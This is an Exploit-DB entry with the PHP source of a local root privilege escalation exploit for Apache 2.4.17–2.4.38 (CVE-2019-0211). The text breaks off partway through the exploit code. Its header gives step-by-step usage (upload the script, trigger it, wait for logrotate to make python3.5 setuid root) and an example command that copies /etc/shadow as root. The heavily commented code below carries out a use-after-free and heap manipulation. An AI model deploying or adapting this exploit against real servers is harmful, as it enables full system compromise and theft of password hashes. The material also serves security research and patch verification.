Exploit-DB #46676
Description: Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege Escalation
Type: local
Platform: linux
Date: 2019-04-08
Author: cfreal

Exploit:
<?php
# CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation
# Charles Fol
# @cfreal_
# 2019-04-08
#
# INFOS
#
# https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html
#
# USAGE
#
# 1. Upload exploit to Apache HTTP server
# 2. Send request to page
# 3. Await 6:25AM for logrotate to restart Apache
# 4. python3.5 is now suid 0
#
# You can change the command that is ran as root using the cmd HTTP
# parameter (GET/POST).
# Example: curl http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/
#
# SUCCESS RATE
#
# Number of successful and failed exploitations relative to of the number
# of MPM workers (i.e. Apache subprocesses). YMMV.
#
# W  --% S   F
#  5 87% 177 26 (default)
#  8 89%  60  8
# 10 95%  70  4
#
# More workers, higher success rate.
# By default (5 workers), 87% success rate. With huge HTTPds, close to 100%.
# Generally, failure is due to all_buckets being relocated too far from its
# original address.
#
# TESTED ON
#
# - Apache/2.4.25
# - PHP 7.2.12
# - Debian GNU/Linux 9.6
#
# TESTING
#
# $ curl http://localhost/cfreal-carpediem.php
# $ sudo /usr/sbin/logrotate /etc/logrotate.conf --force
# $ ls -alh /usr/bin/python3.5
# -rwsr-sr-x 2 root root 4.6M Sep 27  2018 /usr/bin/python3.5
#
# There are no hardcoded addresses.
# - Addresses read through /proc/self/mem
# - Offsets read through ELF parsing
#
# As usual, there are tons of comments.
#


o('CARPE (DIEM) ~ CVE-2019-0211');
o('');

error_reporting(E_ALL);


# Starts the exploit by triggering the UAF.
function real()
{
	global $y;
	$y = [new Z()];
	json_encode([0 => &$y]);
}

# In order to read/write what comes after in memory, we need to UAF a string so
# that we can control its size and make in-place edition.
# An easy way to do that is to replace the string by a timelib_rel_time
# structure of which the first bytes can be reached by the (y, m, d, h, i, s)
# properties of the DateInterval object.
#
# Steps:
# - Create a base object (Z)
# - Add string property (abc) so that sizeof(abc) = sizeof(timelib_rel_time)
# - Create DateInterval object ($place) meant to be unset and filled by another
# - Trigger the UAF by unsetting $y[0], which is still reachable using $this
# - Unset $place: at this point, if we create a new DateInterval object, it will
#   replace $place in memory
# - Create a string ($holder) that fills $place's timelib_rel_time structure
# - Allocate a new DateInterval object: its timelib_rel_time structure will
#   end up in place of abc
# - Now we can control $this->abc's zend_string structure entirely using
#   y, m, d etc.
# - Increase abc's size so that we can read/write memory that comes after it,
#   especially the shared memory block
# - Find out all_buckets' position by finding a memory region that matches the
#   mutex->meth structure
# - Compute the bucket index required to reach the SHM and get an arbitrary
#   function call
# - Scan ap_scoreboard_image->parent[] to find workers' PID and replace the
#   bucket
class Z implements JsonSerializable
{
	public function jsonSerialize()
	{
		global $y, $addresses, $workers_pids;

		#
		# Setup memory
		#
        o('Triggering UAF');
		o('  Creating room and filling empty spaces');

		# Fill empty blocks to make sure our allocations will be contiguous
		# I: Since a lot of allocations/deallocations happen before the script
		# is ran, two variables instanciated at the same time might not be
		# contiguous: this can be a problem for a lot of reasons.
		# To avoid this, we instanciate several DateInterval objects. These
		# objects will fill a lot of potentially non-contiguous memory blocks,
		# ensuring we get "fresh memory" in upcoming allocations.
		$contiguous = [];
		for($i=0;$i<10;$i++)
			$contiguous[] = new DateInterval('PT1S');

		# Create some space for our UAF blocks not to get overwritten
		# I: A PHP object is a combination of a lot of structures, such as
		# zval, zend_object, zend_object_handlers, zend_string, etc., which are
		# all allocated, and freed when the object is destroyed.
		# After the UAF is triggered on the object, all the structures that are
		# used to represent it will be marked as free.
		# If we create other variables afterwards, those variables might be
		# allocated in the object's previous memory regions, which might pose
		# problems for the rest of the exploitation.
		# To avoid this, we allocate a lot of objects before the UAF, and free
		# them afterwards. Since PHP's heap is LIFO, when we create other vars,
		# they will take the place of those objects instead of the object we
		# are triggering the UAF on. This means our object is "shielded" and
		# we don't have to worry about breaking it.
		$room = [];
		for($i=0;$i<10;$i++)
			$room[] = new Z();

		# Build string meant to fill old DateInterval's timelib_rel_time
		# I: ptr2str's name is unintuitive here: we just want to allocate a
		# zend_string of size 78.
		$_protector = ptr2str(0, 78);

		o('  Allocating $abc and $p');

		# Create ABC
		# I: This is the variable we will use to R/W memory afterwards.
		# After we free the Z object, we'll make sure abc is overwritten by a
		# timelib_rel_time structure under our control. The first 8*8 = 64 bytes
		# of this structure can be modified easily, meaning we can change the
		# size of abc. This will allow us to read/write memory after abc.
		$this->abc = ptr2str(0, 79);

		# Create $p meant to protect $this's blocks
		# I: Right after we trigger the UAF, we will unset $p.
		# This means that the timelib_rel_time structure (TRT) of this object
		# will be freed. We will then allocate a string ($protector) of the same
		# size as TRT. Since PHP's heap is LIFO, the string will take the place
		# of the now-freed TRT in memory.
		# Then, we create a new DateInterval object ($x). From the same
		# assumption, every structure constituting this new